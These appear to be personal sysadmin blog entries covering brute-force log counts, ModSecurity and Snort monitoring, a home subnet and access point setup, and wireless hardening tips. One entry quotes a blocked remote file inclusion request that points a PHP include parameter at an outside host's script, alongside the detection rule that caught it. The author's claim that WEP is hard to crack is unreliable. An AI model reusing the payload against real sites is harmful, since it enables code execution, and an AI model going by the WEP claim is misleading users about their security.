[root@delly ~]# zcat /var/log/bruteforce.1006* | wc -l

   62905

[root@delly ~]# zcat /var/log/bruteforce.1005* | wc -l

   63421

[root@delly ~]# zcat /var/log/bruteforce.1004* | wc -l

   60478

[root@delly ~]# zcat /var/log/bruteforce.1003* | wc -l

   59006

[root@delly ~]# zcat /var/log/bruteforce.1002* | wc -l

   44380

[root@delly ~]# zcat /var/log/bruteforce.1001* | wc -l

   45392

2009:

[root@delly ~]# zcat /var/log/bruteforce.0912* | wc -l

   48281

[root@delly ~]# zcat /var/log/bruteforce.0911* | wc -l

   45127

[root@delly ~]# zcat /var/log/bruteforce.0910* | wc -l

   44254

[root@delly ~]# zcat /var/log/bruteforce.0909* | wc -l

   40185

[root@delly /var/log]# zcat bruteforce.* |wc -l

 1704809

[root@delly /var/log]# zcat bruteforce.* |wc -l | uniq

 1704809

]

Worked on...

Reconfigured mnwclient so that I can provide FW logs to MyNetworkWatchman (which is similar to Dshield).

I'd much rather get Dshield working on the Linode but for some reason, I been having difficulties using their supplied clients. I'll continue to work on it, as I had it working prior to the last Linode upgrade.

With that in mind, at some time I'm going to have to upgrade the Linode from v12.0 to v12.2.

Night...

I saw someone hammering my web server

I saw someone hammering my web server today and yesterday. He/she generated 196 Snort alerts, which is quite a bit for my server. The cool thing is, there was negative response to the attack for two reasons:

1. The server doesn't use PHP or CGI and the attack was designed to exploit those two software packages.

2. I use ModSecurity, which is a web server application firewall.

See payload below (ModSecurity):

Request: midas.slackware.lan 198.145.244.232 - - [15/Jan/2007:21:04:18 -0500] "GET /calendar/index.php?inc_dir=http://200.75.9.114/C.php?&/ HTTP/1.1" 403 304 "-" "Morfeus Fucking Scanner" RawyokKgjR4AAFL7qwU "-"
----------------------------------------
GET /calendar/index.php?inc_dir=http://200.75.9.114/C.php?&/ HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: Close
Host: 66.160.141.30
User-Agent: Morfeus Fucking Scanner
mod_security-message: Access denied with code 403. Pattern match "index.php" at REQUEST_URI [id "1005"][rev
"2"] [msg "index.php usage, suspicious activity"] [severity "ALERT"]
mod_security-action: 403

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

The activity triggered a rule I created (yeah, ModSecurity is rule-based). I know I don't use PHP but I'd still like to see such attacks on my network, as a heads-up to escalated attacks. What I don't have is a reactive firewall, one that blocks traffic such as this automatically. I had to add the IP to my block list by hand, which sucks.

ModSecurity also has a web-based console that I haven't figured out how to use yet, so I usually parse the flat logs manually then correlate any malicious traffic with my firewall and Snort logs to get a better picture of questionable activity. Once I figure out how to get the web-based console up and running, I'll let you know and maybe throw together a how-to for how to utilize ModSecurity on Slackware.

Shell Scripting | Creation of a Subnet and Securing Wireless Access Points

I've been trying to automate some things on my Linux and BSD boxes, so I've been scripting a bit lately.

For one, I like the mailed stats that FreeBSD and OpenBSD provides the administrator, so I've attempted to do the same for Slackware. I've a version that also runs on BSD, although you have to hack it to get it to work under a BSD machine. I'm currently looking over it to see if I can lessen the hacking of the script when using it on a non-Linux or non-Slackware machine, but for now it does work. It does not mail the admin yet, but it does keep a listing of stats every hour on the hour (via cron).

I've used several web-based resources to create this script:

http://www.linuxcommand.org/
http://www.freeos.com/guides/lsst/

I've also bought a few scripting books:

Unix Shells by Example, 3rd Edition, by Ellie Quigley
Linux Shell Scripting with Bash, by Ken O. Burtch
Learning the bash Shell, 2nd Edition, by Cameron Newham and Bill Rosenblatt

There's a ton of shell scripting books out there, along with a ton of free online tutorials, but the ones I've mentioned gave me the most insight.

I shall post a link to my script when I've finished working it to my liking.

I've also done a few things to my network during the last week.

I bought a Netgear VPN Firewall (FVS114). I want to play with hardware a bit and this unit was cheap. Sometime in the near future, I want to inplement a VPN tunnel from my residence to my linode. Sure, I can implement it via open-source software but I have to start delving with hardware if I want to sell myself as a professional security consultant. Anyways, I was previously utilizing a Linksys WRT54X4 Firewall/Router/WAP as my border router/gateway, which was fine where it was, but in order to utilize the Netgear to its fullest (which I plan to do), it needed to be placed at the border, so I put the Netgear in the Linksys' place. I then put the Linksys inside my LAN, as I needed it's WAP capabilities.

It took me a week to get things the way I wanted them. I wanted the Linksys on its own network, and that required creating a subnet. I opted to let it use its default network segment, 192.168.1.0/24. It pulled an IP from the Netgear (the Netgear is set up to serve IP addresses via DHCP). I was able to run a CAT5 from the Linksys to my Shuttle box and gain access to the administrative browser. Everything was going well, until I found that I couldn't ping other machines on the Linksys network segment. I spent a week trying to figure out why until I got a coworker to come over and take a look at things. He almost immediately got things working. I found that the Sygate firewall that I had installed on the Shuttle was impeding things. I turned it off and the laptop that was associated with the WAP was able to ping the Shuttle. One more problem was apparent: I wasn't able to get out to the internet on any laptop, although I could on the Shuttle. The reason? The Linksys FW was enabled. Once that was turned off, I was able to open up a browser and point it to MSN.com. Those were pretty simple solutions that any competent engineer should have been able to fix. My issue? Well, most engineers run standard tools in their work environment. I'd forgotten about the Sygate firewall, which is only installed on two of my many machines...so, its not so standard within my network environment, so it was easy to forget. That, and I was so wrapped up with getting this setup to work that I didn't check the obvious items.

All that is left now is to add a static route on the Netgear that will allow communcations from the Linksys netrange.

This is a decent setup, as you always want to segregate your WAP from your network. For home users, the basic setup is fine, but I'm not a regular home user. I want to at least TRY to do things the right way.

Now, since we're talking about WAPs, I'll let you know that I'm using WEP, the protocol that's branded 'unsecure'. Why am I using it? Because not all of my wireless devices can use the WPA protocol. Some people say that WEP is so insecure that its better off not using it...that's total B.S. You always want to use security in-depth anyways, which means you need to implement your security in layers to cover all potential weaknesses. Here's what I normally do:

1. Create a good, long password for the administrative GUI.

2. Either limit the DHCP pool to a very small amount (depending on how many wireless devices you have...I've at least 5, so I have a DHCP pool of 7), or turn off DHCP and assign your devices static IPs. This way, if someone gains access to your network, he's smart enough to get his own IP and not have it given to him. The lesson is to not make it easy to bust into your network.

3. Change your WEP key from time to time, maybe once a month. My Linksys will ask for any phrase and create 4 keys based off of that one phrase. Rotate those every once in awhile. Why do all this? The WEP key is supposedly easy to crack. A coworker of mine did attempt to crack a key. He couldn't. Many people think it is easy, but apparently its not as easy as many people say, but in case it IS easy, rotate your keys from time to time.

4. You can use MAC address authentication. Sure, someone could spoof a MAC, but remember that we're layering security...he may spoof a MAC but he won't be able to circumvent the rest of the things you've implemented.

5. Don't broadcast your SSID. Those who know how to hack will find it anyways, but what you want to worry about is the script kiddies out there and the ocassional bandwidth leech. Don't worry about the serious crackers out there, as if they wanted to pop your box, they could easily do it, with or without your basic security layering.

6. On some WAPs, you can dial down the power a bit so the wireless signal doesn't broadcast out to 2-3 blocks. Of course, when you do this, your wireless bandwidth gets throttled. Weigh the cost of this in your own mind and decide what would be best for your network. I don't throttle my signal but I do have my WAP in the basement, which does cut down on the signal. If you've a WAP on a 2nd or 3rd floor home or building, its going to be hard to throttle the signal to the point that others won't see it, since the WAP is physically on higher ground.

I may be missing a few wifi pointers, but I'll let others fill in the blanks. The above are the ways I keep my WAP and network secure. I hope you guys and gals can benefit from those tips.